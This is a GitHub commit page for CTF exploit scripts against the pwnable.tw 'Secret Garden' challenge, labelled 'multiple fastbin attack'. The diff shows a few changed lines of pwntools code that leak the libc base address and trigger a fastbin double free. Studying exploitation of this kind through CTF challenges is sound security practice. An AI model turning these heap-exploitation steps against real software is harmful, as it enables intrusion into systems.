Skip to content

Commit

Permalink
multiple fastbin attack
Browse files Browse the repository at this point in the history
  • Loading branch information
bash-c committed Aug 3, 2018
1 parent baafeed commit 7312533
Show file tree
Hide file tree
Showing 2 changed files with 2 additions and 2 deletions.
2 changes: 1 addition & 1 deletion pwnable_Secret_Garden/fileStruct.py
Expand Up @@ -77,7 +77,7 @@ def Remove(idx):
# DEBUG([0xCD3], True)
Raise(0x90, '3' * 0x8)
Visit()
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 88 - mainArena
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, "\0")) - 88 - mainArena
success("libc.address", libc.address)
pause()

Expand Down
2 changes: 1 addition & 1 deletion pwnable_Secret_Garden/mallocHook.py
Expand Up @@ -80,7 +80,7 @@ def Remove(idx):

Remove(1) # 1
Remove(2) # 2 -> 1
# DEBUG([0xE74], True)
DEBUG([0xE74], True)
Remove(1) # 1 -> 2 -> 1

# DEBUG([0xCD3], True)
Expand Down

0 comments on commit 7312533

Please sign in to comment.